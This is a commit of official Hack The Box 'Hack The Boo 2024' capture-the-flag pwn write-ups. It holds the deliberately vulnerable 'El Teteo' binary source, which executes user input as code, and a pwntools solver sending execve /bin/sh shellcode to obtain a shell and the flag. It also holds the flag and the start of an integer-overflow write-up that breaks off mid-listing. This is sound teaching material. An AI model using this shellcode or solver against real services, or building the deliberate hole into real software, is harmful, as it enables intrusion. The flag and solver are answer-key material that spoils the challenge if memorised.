added official hacktheboo2024 writeups
8
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/Dockerfile
Normal file
|
@ -0,0 +1,8 @@
|
|||
FROM alpine:latest
|
||||
RUN apk add --no-cache socat dash && ln -sf /usr/bin/dash /bin/sh
|
||||
EXPOSE 1337
|
||||
RUN addgroup -S ctf && adduser -S ctf -G ctf
|
||||
COPY challenge/ /home/ctf/
|
||||
WORKDIR /home/ctf
|
||||
USER ctf
|
||||
CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./el_teteo"]
|
193
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/README.md
Normal file
|
@ -0,0 +1,193 @@
|
|||

|
||||
|
||||
|
||||
|
||||
<img src="assets/htb.png" style="margin-left: 20px; zoom: 80%;" align=left /> <font size="10">El Teteo</font>
|
||||
|
||||
16<sup>th</sup> September 2024 / Document No. DYY.102.XX
|
||||
|
||||
Prepared By: w3th4nds
|
||||
|
||||
Challenge Author(s): w3th4nds
|
||||
|
||||
Difficulty: <font color=green>Very Easy</font>
|
||||
|
||||
Classification: Official
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Synopsis
|
||||
|
||||
El Teteo is a very easy difficulty challenge that features `ret2shellcode`.
|
||||
|
||||
# Description
|
||||
|
||||
El Teteo, a mischievous ghostly djinni born with a party spirit. You have one chance to summon it and make your wish—but only if it’s in the mood to grant it.
|
||||
|
||||
## Skills Required
|
||||
|
||||
- Basic C.
|
||||
|
||||
## Skills Learned
|
||||
|
||||
- `ret2shellcode`.
|
||||
|
||||
# Enumeration
|
||||
|
||||
First of all, we start with a `checksec`:
|
||||
|
||||
```console
|
||||
pwndbg> checksec
|
||||
Arch: amd64
|
||||
RELRO: Full RELRO
|
||||
Stack: Canary found
|
||||
NX: NX unknown - GNU_STACK missing
|
||||
PIE: PIE enabled
|
||||
Stack: Executable
|
||||
RWX: Has RWX segments
|
||||
RUNPATH: b'./glibc/'
|
||||
SHSTK: Enabled
|
||||
IBT: Enabled
|
||||
Stripped: No
|
||||
```
|
||||
|
||||
### Protections 🛡️
|
||||
|
||||
As we can see:
|
||||
|
||||
| Protection | Enabled | Usage |
|
||||
| :---: | :---: | :---: |
|
||||
| **Canary** | ✅ | Prevents **Buffer Overflows** |
|
||||
| **NX** | ❌ | Disables **code execution** on stack |
|
||||
| **PIE** | ✅ | Randomizes the **base address** of the binary |
|
||||
| **RelRO** | **Full** | Makes some binary sections **read-only** |
|
||||
|
||||
The program's interface
|
||||
|
||||

|
||||
|
||||
We already see that when we enter something, the program crashes with "Illegal Instruction". This means that the program tries to execute something that is not a valid instruction. We also see that `NX` is disabled, meaning we can execute arbitrary code.
|
||||
|
||||
### Disassembly
|
||||
|
||||
Starting with `main()`:
|
||||
|
||||
```c
|
||||
00001366 int32_t main(int32_t argc, char** argv, char** envp)
|
||||
|
||||
00001366 {
|
||||
0000137e void* fsbase;
|
||||
0000137e int64_t canary = *(uint64_t*)((char*)fsbase + 0x28);
|
||||
00001392 cls();
|
||||
0000139e void* const var_a8 = "\x1b[1;33m";
|
||||
000013ac void* const var_a0 = "\x1b[1;36m";
|
||||
000013ba void* const var_98 = "\x1b[1;32m";
|
||||
000013c8 void* const var_90 = "\x1b[1;31m";
|
||||
000013d6 void* const var_88 = "\x1b[1;34m";
|
||||
000013e1 void* const var_80 = "\x1b[1;35m";
|
||||
000013ec void* const var_78 = "\x1b[1;37m";
|
||||
000013fc srand(time(nullptr));
|
||||
00001448 printf(&data_204e, &var_a8[((int64_t)(rand() % 6))]);
|
||||
0000147a int64_t rax_22 = &var_a8[((int64_t)(rand() % 6))];
|
||||
000014b6 int64_t rbx = &var_a8[((int64_t)(rand() % 6))];
|
||||
000014f2 int64_t rdi_1 = &var_a8[((int64_t)(rand() % 6))];
|
||||
0000152e int64_t rsi_11 = &var_a8[((int64_t)(rand() % 6))];
|
||||
0000156a int64_t rcx_24 = &var_a8[((int64_t)(rand() % 6))];
|
||||
000015a6 int64_t rdx_7 = &var_a8[((int64_t)(rand() % 6))];
|
||||
000015e2 int64_t r10 = &var_a8[((int64_t)(rand() % 6))];
|
||||
0000161e int64_t r11 = &var_a8[((int64_t)(rand() % 6))];
|
||||
0000165a int64_t r8 = &var_a8[((int64_t)(rand() % 6))];
|
||||
00001696 int64_t r9 = &var_a8[((int64_t)(rand() % 6))];
|
||||
000016d2 int64_t r14 = &var_a8[((int64_t)(rand() % 6))];
|
||||
0000170e int64_t r15 = &var_a8[((int64_t)(rand() % 6))];
|
||||
0000174a int64_t r12 = &var_a8[((int64_t)(rand() % 6))];
|
||||
00001786 int64_t r13 = &var_a8[((int64_t)(rand() % 6))];
|
||||
000017c2 int64_t rax_149 = &var_a8[((int64_t)(rand() % 6))];
|
||||
000017fe int64_t rbx_1 = &var_a8[((int64_t)(rand() % 6))];
|
||||
0000183a int64_t rdi_2 = &var_a8[((int64_t)(rand() % 6))];
|
||||
00001876 int64_t rsi_40 = &var_a8[((int64_t)(rand() % 6))];
|
||||
000018b2 int64_t rcx_62 = &var_a8[((int64_t)(rand() % 6))];
|
||||
000018ee int64_t rdx_43 = &var_a8[((int64_t)(rand() % 6))];
|
||||
0000192a int64_t r10_1 = &var_a8[((int64_t)(rand() % 6))];
|
||||
00001966 int64_t r11_1 = &var_a8[((int64_t)(rand() % 6))];
|
||||
000019a2 int64_t r8_1 = &var_a8[((int64_t)(rand() % 6))];
|
||||
000019de int64_t r9_1 = &var_a8[((int64_t)(rand() % 6))];
|
||||
00001a1a int64_t r14_1 = &var_a8[((int64_t)(rand() % 6))];
|
||||
00001a56 int64_t r15_1 = &var_a8[((int64_t)(rand() % 6))];
|
||||
00001a92 int64_t r14_2 = &var_a8[((int64_t)(rand() % 6))];
|
||||
00001ac7 int64_t r15_2 = &var_a8[((int64_t)(rand() % 6))];
|
||||
00001afc int64_t r13_1 = &var_a8[((int64_t)(rand() % 6))];
|
||||
00001b31 int64_t r12_1 = &var_a8[((int64_t)(rand() % 6))];
|
||||
00001b66 int64_t rbx_2 = &var_a8[((int64_t)(rand() % 6))];
|
||||
00001c63 printf(&data_2058, &var_a8[((int64_t)(rand() % 6))], rbx_2, r12_1, r13_1, r15_2, r14_2, r15_1, r14_1, r9_1, r8_1, r11_1, r10_1, rdx_43, rcx_62, rsi_40, rdi_2, rbx_1, rax_149, r13, r12, r15, r14, r9, r8, r11, r10, rdx_7, rcx_24, rsi_11, rdi_1, rbx, rax_22);
|
||||
00001c79 printstr("[!] I will do whatever you want,…");
|
||||
00001c7e int64_t shellcode;
|
||||
00001c7e __builtin_memset(&shellcode, 0, 0x20);
|
||||
00001caf read(0, &shellcode, 0x1f);
|
||||
00001cbd &shellcode();
|
||||
00001cc8 *(uint64_t*)((char*)fsbase + 0x28);
|
||||
00001cc8
|
||||
00001cd1 if (canary == *(uint64_t*)((char*)fsbase + 0x28))
|
||||
00001ce6 return 0;
|
||||
00001ce6
|
||||
00001cd3 __stack_chk_fail();
|
||||
00001cd3 /* no return */
|
||||
00001366 }
|
||||
```
|
||||
|
||||
If we skip the "colors", the actual code is:
|
||||
|
||||
```c
|
||||
00001c79 printstr("[!] I will do whatever you want,…");
|
||||
00001c7e int64_t shellcode;
|
||||
00001c7e __builtin_memset(&shellcode, 0, 0x20);
|
||||
00001caf read(0, &shellcode, 0x1f);
|
||||
00001cbd &shellcode();
|
||||
```
|
||||
|
||||
The program will execute whatever we store in the "shellcode" buffer. Taking that into consideration and the fact that `NX` is disabled, we can execute code and get shell. [This](https://shell-storm.org/shellcode/files/shellcode-806.html) payload works like a charm.
|
||||
|
||||
```bash
|
||||
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
|
||||
```
|
||||
|
||||
# Solution
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
from pwn import *
|
||||
import warnings
|
||||
import os
|
||||
warnings.filterwarnings('ignore')
|
||||
context.arch = 'amd64'
|
||||
context.log_level = 'critical'
|
||||
|
||||
fname = './el_teteo'
|
||||
|
||||
LOCAL = False
|
||||
|
||||
os.system('clear')
|
||||
|
||||
if LOCAL:
|
||||
print('Running solver locally..\n')
|
||||
r = process(fname)
|
||||
else:
|
||||
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
|
||||
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
|
||||
r = remote(IP, PORT)
|
||||
print(f'Running solver remotely at {IP} {PORT}\n')
|
||||
|
||||
# Shellcode from https://shell-storm.org/shellcode/files/shellcode-806.html
|
||||
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
|
||||
|
||||
# Send shellcode
|
||||
r.sendlineafter('>', sc)
|
||||
|
||||
# Get flag
|
||||
pause(1)
|
||||
r.sendline('cat flag*')
|
||||
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')
|
||||
```
|
||||
|
BIN
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/assets/banner.png
Normal file
After Width: | Height: | Size: 45 KiB |
BIN
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/assets/htb.png
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/assets/interface.png
Normal file
After Width: | Height: | Size: 41 KiB |
3
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/build-docker.sh
Executable file
|
@ -0,0 +1,3 @@
|
|||
#!/bin/sh
|
||||
docker build --tag=el_teteo .
|
||||
docker run -it -p 1337:1337 --rm --name=el_teteo el_teteo
|
BIN
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/el_teteo
Executable file
|
@ -0,0 +1 @@
|
|||
HTB{3l_t3t30_d3_5h3ll}
|
BIN
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/glibc/ld-linux-x86-64.so.2
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/challenge/glibc/libc.so.6
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/el_teteo
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/glibc/ld-linux-x86-64.so.2
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/glibc/libc.so.6
Executable file
33
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/htb/solver.py
Executable file
|
@ -0,0 +1,33 @@
|
|||
#!/usr/bin/python3
|
||||
from pwn import *
|
||||
import warnings
|
||||
import os
|
||||
warnings.filterwarnings('ignore')
|
||||
context.arch = 'amd64'
|
||||
context.log_level = 'critical'
|
||||
|
||||
fname = './el_teteo'
|
||||
|
||||
LOCAL = False
|
||||
|
||||
os.system('clear')
|
||||
|
||||
if LOCAL:
|
||||
print('Running solver locally..\n')
|
||||
r = process(fname)
|
||||
else:
|
||||
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
|
||||
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
|
||||
r = remote(IP, PORT)
|
||||
print(f'Running solver remotely at {IP} {PORT}\n')
|
||||
|
||||
# Shellcode from https://shell-storm.org/shellcode/files/shellcode-806.html
|
||||
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
|
||||
|
||||
# Send shellcode
|
||||
r.sendlineafter('>', sc)
|
||||
|
||||
# Get flag
|
||||
pause(1)
|
||||
r.sendline('cat flag*')
|
||||
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')
|
16
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/Makefile
Normal file
|
@ -0,0 +1,16 @@
|
|||
# Name of PROG and CFLAGS shall be changed.
|
||||
|
||||
PROG = el_teteo# CHANGE THIS
|
||||
SRC = main.c
|
||||
CFLAGS = -fstack-protector-all -z execstack -Wl,-z,relro,-z,now -w -Xlinker -rpath=./glibc/ -Xlinker -I./glibc/ld-linux-x86-64.so.2
|
||||
|
||||
all: compile
|
||||
|
||||
compile:
|
||||
@echo "Compiling $(SRC) -> $(PROG)"
|
||||
gcc $(SRC) -o $(PROG) $(CFLAGS)
|
||||
|
||||
clean:
|
||||
rm -f $(PROG)
|
||||
|
||||
|
BIN
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/glibc/ld-linux-x86-64.so.2
Executable file
BIN
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/glibc/libc.so.6
Executable file
82
htb/hacktheboo2024/pwn/[Very Easy] El Teteo/src/main.c
Normal file
|
@ -0,0 +1,82 @@
|
|||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
|
||||
#define RED "\e[1;31m"
|
||||
#define GREEN "\e[1;32m"
|
||||
#define YELLOW "\e[1;33m"
|
||||
#define BLUE "\e[1;34m"
|
||||
#define MAGENTA "\e[1;35m"
|
||||
#define CYAN "\e[1;36m"
|
||||
#define LIGHT_GRAY "\e[1;37m"
|
||||
#define RESET "\e[0m"
|
||||
|
||||
void cls() {
|
||||
printf("\033[2J");
|
||||
printf("\033[%d;%dH", 0, 0);
|
||||
}
|
||||
|
||||
void printstr(char *s) {
|
||||
for (size_t i = 0; i < strlen(s); i++){
|
||||
putchar(s[i]);
|
||||
usleep(15000);
|
||||
}
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
cls();
|
||||
char *col[7] = {YELLOW, CYAN, GREEN, RED, BLUE, MAGENTA, LIGHT_GRAY};
|
||||
srand(time(NULL));
|
||||
printf("%s", col[rand() % 6]);
|
||||
printf(""
|
||||
"%s░▒▓████████▓▒░▒▓█▓▒░ ░▒▓████████▓▒░▒▓████████▓▒░▒▓████████▓▒░▒▓████████▓▒░▒▓██████▓▒░\n"
|
||||
"%s░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░\n"
|
||||
"%s░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░\n"
|
||||
"%s░▒▓██████▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░\n"
|
||||
"%s░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░\n"
|
||||
"%s░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░\n"
|
||||
"%s░▒▓████████▓▒░▒▓████████▓▒░ ░▒▓█▓▒░ ░▒▓████████▓▒░ ░▒▓█▓▒░ ░▒▓████████▓▒░▒▓██████▓▒░\n\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠈⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀⣹⣿⣿⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣀⠀⠙⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⣀⣤⣶⣿⣿⣿⣿⠃⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠈⠻⣿⣿⣿⣿⣿⣿⣿⣶⣾⣿⣿⣿⣿⣿⣿⣷⣶⣿⣿⣿⣿⣿⣿⡟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⣤⣀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⢸⣿⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⢿⡟⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠀⠀⠈⠛⠁⠀⠀⠀⠉⢿⣿⡟⠛⠉⠉⠙⣿⣿⠁⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀⠀⠀⣠⡄⠀⠘⠟⠀⠀⢀⡄⠀⠈⠃⠀⣸⣷⣄⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣀⣠⣾⣿⡇⠀⠀⠀⠀⢀⣾⣿⡄⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣄⣀⣀⣾⣿⣿⣿⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n"
|
||||
"%s⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿\n\n", col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6], col[rand() % 6] );
|
||||
|
||||
printstr("[!] I will do whatever you want, nice or naughty..\n\n> ");
|
||||
|
||||
char shellcode[0x20] = {0};
|
||||
read(0, shellcode, 0x20 - 1);
|
||||
|
||||
(*(void(*)())shellcode)();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
__attribute__((constructor))
|
||||
void setup(void) {
|
||||
cls();
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
alarm(0x1312);
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
FROM alpine:latest
|
||||
RUN apk add --no-cache socat dash && ln -sf /usr/bin/dash /bin/sh
|
||||
EXPOSE 1337
|
||||
RUN addgroup -S ctf && adduser -S ctf -G ctf
|
||||
COPY challenge/ /home/ctf/
|
||||
WORKDIR /home/ctf
|
||||
USER ctf
|
||||
CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./mathematricks"]
|
245
htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/README.md
Normal file
|
@ -0,0 +1,245 @@
|
|||

|
||||
|
||||
|
||||
|
||||
<img src="assets/htb.png" style="margin-left: 20px; zoom: 80%;" align=left /> <font size="10">Mathematricks</font>
|
||||
|
||||
9<sup>th</sup> September 2024 / Document No. DYY.102.XX
|
||||
|
||||
Prepared By: w3th4nds
|
||||
|
||||
Challenge Author(s): w3th4nds
|
||||
|
||||
Difficulty: <font color=green>Very Easy</font>
|
||||
|
||||
Classification: Official
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Synopsis
|
||||
|
||||
Mathematricks is a very easy difficulty challenge that features integer overflow vulnerability.
|
||||
|
||||
# Description
|
||||
|
||||
How about a magic trick? Or a math trick? Beat me and I will give you an amazing reward!
|
||||
|
||||
## Skills Required
|
||||
|
||||
- Basic C.
|
||||
|
||||
## Skills Learned
|
||||
|
||||
- Integer Overflow.
|
||||
|
||||
# Enumeration
|
||||
|
||||
First of all, we start with a `checksec`:
|
||||
|
||||
```console
|
||||
pwndbg> checksec
|
||||
Arch: amd64
|
||||
RELRO: Full RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
RUNPATH: b'./glibc/'
|
||||
```
|
||||
|
||||
### Protections 🛡️
|
||||
|
||||
As we can see, all protection are enabled:
|
||||
|
||||
| Protection | Enabled | Usage |
|
||||
| :---: | :---: | :---: |
|
||||
| **Canary** | ✅ | Prevents **Buffer Overflows** |
|
||||
| **NX** | ✅ | Disables **code execution** on stack |
|
||||
| **PIE** | ✅ | Randomizes the **base address** of the binary |
|
||||
| **RelRO** | **Full** | Makes some binary sections **read-only** |
|
||||
|
||||
The program's interface
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
The challenge seems to have only 4 questions. The first 3 are pretty easy, leaving only the last one a bit more tricky. Well, without imaginary numbers, it's not possible to achieve the result of `(n1, n2) > 0 && (n1 + n2) < 0`. In `C` though, there is a limit to the integer values we can enter.
|
||||
|
||||
### Disassembly
|
||||
|
||||
Starting with `main()`:
|
||||
|
||||
```c
|
||||
00001925 int32_t main(int32_t argc, char** argv, char** envp)
|
||||
|
||||
00001925 {
|
||||
0000193a void* fsbase;
|
||||
0000193a int64_t var_10 = *(uint64_t*)((char*)fsbase + 0x28);
|
||||
00001940 banner();
|
||||
0000194a while (true)
|
||||
0000194a {
|
||||
0000194a uint64_t rax_3 = menu();
|
||||
00001953 if (rax_3 == 1)
|
||||
00001953 {
|
||||
00001962 game();
|
||||
00001962 /* no return */
|
||||
00001953 }
|
||||
00001959 if (rax_3 != 2)
|
||||
00001959 {
|
||||
00001959 break;
|
||||
00001959 }
|
||||
0000196e rules();
|
||||
0000194a }
|
||||
0000198e printf("%s\n\t\t\t[???????????]\n\n", "\x1b[1;31m");
|
||||
00001998 exit(0x520);
|
||||
00001998 /* no return */
|
||||
00001925 }
|
||||
```
|
||||
|
||||
We see a call to `game()`. Taking a look at this:
|
||||
|
||||
```c
|
||||
00001700 void game() __noreturn
|
||||
|
||||
00001700 {
|
||||
00001715 void* fsbase;
|
||||
00001715 int64_t var_10 = *(uint64_t*)((char*)fsbase + 0x28);
|
||||
00001725 printstr(&data_2180);
|
||||
00001734 printstr("\t\tQ1: 1 + 1 = ?\n\n\t\t> ");
|
||||
00001747 if (read_num() != 2)
|
||||
00001747 {
|
||||
00001753 printstr("\n\t\t[!] Elementary school open…");
|
||||
0000175d exit(0x520);
|
||||
0000175d /* no return */
|
||||
00001747 }
|
||||
00001785 printf("\n\t\t%s[+] THAT WAS AMAZING!\n\n…", "\x1b[1;32m", "\x1b[1;34m");
|
||||
00001794 printstr("\t\tQ2: 2 - 1 = ?\n\n\t\t> ");
|
||||
000017a7 if (read_num() != 1)
|
||||
000017a7 {
|
||||
000017b3 printstr("\n\t\t[!] Elementary school open…");
|
||||
000017bd exit(0x520);
|
||||
000017bd /* no return */
|
||||
000017a7 }
|
||||
000017e5 printf("\n\t\t%s[+] WE HAVE A MATHEMATIC…", "\x1b[1;32m", "\x1b[1;36m");
|
||||
000017f4 printstr("\t\tQ3: 1337 - 1337 = ?\n\n\t\t> ");
|
||||
00001806 if (read_num() != 0)
|
||||
00001806 {
|
||||
00001812 printstr("\n\t\t[!] High school opens at 0…");
|
||||
0000181c exit(0x520);
|
||||
0000181c /* no return */
|
||||
00001806 }
|
||||
00001844 printf("\n\t\t%s[+] GOD OF MATHS JUST EN…", "\x1b[1;32m", "\x1b[1;34m");
|
||||
00001853 printstr("\t\tQ4: Enter 2 numbers n1, n2 w…");
|
||||
0000185d uint64_t n1 = read_num();
|
||||
00001870 printstr("\n\t\tn2: ");
|
||||
